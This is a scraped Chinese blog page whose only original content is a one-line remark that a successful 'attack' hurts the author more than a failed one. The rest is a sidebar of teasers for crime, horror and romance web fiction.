攻击成功比攻击不成功带给我的打击更大……

image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,688评论 1 330
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,559评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,749评论 0 226
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,581评论 0 191
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,741评论 3 271
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,684评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,122评论 2 292
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,847评论 0 182
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,441评论 0 228
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,939评论 2 232
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,333评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,783评论 2 236
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,275评论 3 220
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,830评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,444评论 0 180
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,553评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,618评论 2 249

推荐阅读更多精彩内容